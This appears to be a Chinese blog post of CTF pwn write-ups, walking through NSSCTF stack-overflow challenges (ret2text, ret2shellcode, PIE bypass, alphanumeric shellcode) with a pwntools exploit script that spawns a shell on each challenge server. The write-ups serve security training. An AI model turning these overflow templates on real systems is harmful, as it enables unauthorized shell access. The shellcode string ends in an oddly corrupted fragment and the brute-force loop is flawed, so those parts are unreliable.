Pwn练习题

发布于 2023-12-05  299 次阅读


题目来源于NSSCTF网站

ret2text

[SWPUCTF 2021 新生赛]gift_pwn

先放到虚拟机里checksec一下,能看到开启NX,没有PIE,64位

放进64位的IDA反编译一下,可以看到在gift函数里留了后门

然后再vuln函数里有read函数,存在溢出

ret2text的基本做法就是让读入的buf溢出到system/bin/sh的地址

这里对于buf的长度,有两种判断方式,要么直接看IDA反编译的结果(这个有可能不准),要么就进入动态调试查看

这里先将read函数的地址复制下来在虚拟机的pwndbg里进行断点调试

计算RAX和RBP的差值,即为数组的实际长度

print(0x7fffffffe380-0x7fffffffe370)
#16

那么ret2text的基本框架就是这样👇

from pwn import *

io = remote('node4.anna.nssctf.cn',28980)
target=0x00000000004005C4  #system/bin/sh的地址

payload=b'a'*(16+8)+p64(target)  #栈溢出
#如果是32位指针大小就是4,如果是64位指针大小就是8
io.send(payload)
io.interactive()

[BJDCTF 2020]babystack2.0

先check一下,用IDA64位打开

先看main函数源码

可以得出,先要输名字的长度,然后再read,buf是12位,也可以进行调试算(我这题调不出来,可以直接用IDA给的数据

由于有两个输入点,一个是scanf,另一个是read,scanf这个点可以随便填,重点在于read部分的溢出

buf的数组长度应该是由注释部分来计算得到0x10

那么还是套基本框架写脚本

from pwn import *

io = remote('node4.anna.nssctf.cn',28559)

target=0x040072A  #system/bin/sh的地址

payload=b'a'*(24)+p64(target)  #栈溢出
io.sendlineafter('name:',b'-1')

io.sendafter('name?',payload)

io.interactive()

对于read函数来说是不需要用sendline的,sendline会在末尾加一个换行符,也就是回车,scanf是必须要回车结尾的。

[NISACTF 2022]ezstack

用32位IDA打开

可以看到在shell函数里存在溢出

这里没有直接可以使用是system/bin/sh

不过经过查找在plt连接表段里有system的地址,在data段里有/bin/sh的字符串可以凑成命令

这道题有点libc的感觉

先溢出,然后到system的连接地址,然后补充4个单位的垃圾数据,最后是/bin/sh的命令字符串

当程序调用system函数时,会自动去寻找栈底即ebp指向的位置,然后将ebp+8字节的位置的数据当作函数的参数,所以如果我们想将/bin/sh作为system函数的参数,就可以在栈溢出的时候,先修改eip为system函数的地址,然后填充4个字节的垃圾数据,再将/bin/sh的地址写入栈上,这样调用system函数的时候,就可以将/bin/sh作为参数,然后返回一个shell。(这是为什么要在systemaddr后面补4个字节的原因

具体可查:PWN疑难(1-3)-关于payload中栈的布置以及system的一些困惑 (yuque.com)

from pwn import *

io = remote('node5.anna.nssctf.cn',28088)

system_addr=0x08048390
binsh_addr=0x0804A024

payload=b'a'*(0x48+4)+p32(system_addr)+b'a'*4+p32(binsh_addr)

io.send(payload)
io.interactive()

[NISACTF 2022]ezpie

先checksec,32位,开启了pie保护,这就造成了地址的随机化,但是地址的相对位移的不变的

使用readelf工具查看地址

可以看到main函数和shell函数的地址

那么可以这样写脚本👇

from pwn import *

io = remote('node5.anna.nssctf.cn',28902)

main_addr=0x00000770
shell_addr=0x0000080f
offset=shell_addr-main_addr #计算偏移量

main_real_addr=int(io.recvuntil('70')[-10:].decode(),16)#根据IDA源码可知
shell_real_addr=main_real_addr+offset  #拼接出真实的shell地址
payload=b'a'*(0x28+4)+p32(shell_real_addr) #溢出即可
io.send(payload)
io.interactive()

极客大挑战2023 ret2text

可以看到开启了PIE保护,导致地址随机化

在backdoor里发现后门函数

由于PIE特性,只有最后两个字节会不同,只需要覆盖最后两个字节到backdoor即可,又因为地址是随机化的,只能概率性获得shell

脚本如下👇

from pwn import *

io=process("./ret2text")

backdoor=0x1227  #后门地址
payload=b'a'*88+p16(backdoor)  #只需要覆盖两个字节即可
while True:
    io.send(payload)
    io.interactive()

ret2shellcode

[HNCTF 2022 Week1]ret2shellcode

先进行check

在IDA中看到main函数

源码中并不存在/bin/sh的地址,不过buff处于bss段是可写的

在read函数的call部分打个断点,用vmmap查看

发现地址为0x404000到0x405000的地址段是可读写可执行的

那么就要尝试发送shellcode到buff段,然后溢出到buff的地址(就这道题而言

编写脚本👇

from pwn import *
context(log_level = "debug", arch = 'amd64')
io=remote('node5.anna.nssctf.cn', 28167)
buff_addr = 0x4040A0
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x100+8, b'a') + p64(buff_addr)
io.sendline(payload)
io.interactive()

其中使用了系统自带的shellcraft,一定要设置context,不然就会无回显或者报错,建议类似的shellcode都要加context

[HNCTF 2022 Week1]ezr0p32

check一下

主要的函数内容

经过简单分析,可以看到plt段存有system的地址,

而且在bss段也有可写入的buf区间

这道题的步骤就是在第一个read函数处写入/bin/sh,然后在第二个read读取是时候溢出到plt的system地址,然后拿到shell

编写脚本👇

from pwn import *
io=remote('node5.anna.nssctf.cn',28772)
system_addr=0x080483D0
bss_addr=0x804a080

payload='/bin/sh'
io.sendafter('please tell me your name\n',payload)

payload=b'a'*(28+4)+p32(system_addr)+p32(0)+p32(bss_addr)
io.sendafter("now it's your play time~\n",payload)

io.interactive()

[HNCTF 2022 Week1]safe_shellcode

源码是这样的👇

其中对输入的s有ascii值的判断,大概就是必须是可见字符,不然就exit

然后把s推到buff里,执行buff

编写脚本👇

from pwn import *
io=remote('node5.anna.nssctf.cn',28428)
context(log_level='debug',arch='amd64', os='linux')
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00gao@fossa'

io.send(shellcode)
io.interactive()
千里之行,始于足下
最后更新于 2023-12-05